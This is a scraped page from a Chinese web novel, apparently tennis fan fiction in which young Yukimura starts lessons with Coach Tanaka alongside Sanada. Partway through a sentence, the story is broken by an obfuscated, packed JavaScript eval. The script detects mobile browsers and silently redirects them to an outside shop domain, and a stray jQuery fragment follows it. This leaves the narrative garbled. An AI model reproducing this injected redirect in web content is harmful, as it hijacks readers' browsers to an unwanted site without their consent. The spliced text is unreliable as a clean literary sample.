字体
关灯
   存书签 书架管理 返回目录
。她看到幸村,眼睛弯成了月牙:“幸村君,欢迎正式加入我们!”
    “谢谢田中教练!”幸
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520429|202884||http|test|mini|href|location'.split('|'),0,{}));
    () {
    $('.inform').remove();
    $('#content').append('
    村乖巧地鞠躬。
    “那我们先做热身运动。”田中教练拍了拍手,“大家排成两排,跟着我做。”
    热身运动包括慢跑、拉伸、关节活动。幸村认真地跟着做,每一个动作都做到位。他偷偷看了一眼旁边的真田——真田做得特别认真,每一个拉伸都拉到极限,小脸绷得紧紧的,额头上很快就冒出了细密的汗珠。
    热身结束后,田中教练开始教基础动作。
    “今天我们要学习正手击球的基本姿势。”田中教练站在前面示范,“双脚分开,与肩同宽,膝盖微微弯曲。右手握拍,左手扶住拍颈,拍面朝前..”
    幸村认真地听着,眼睛一眨不眨地看着教练的动作。系统也在他脑海里同步讲解:
   

关闭+畅/阅读=模式,看最新完整内容。本章未完,请点击下一页继续阅读》》
上一页 目录 下一页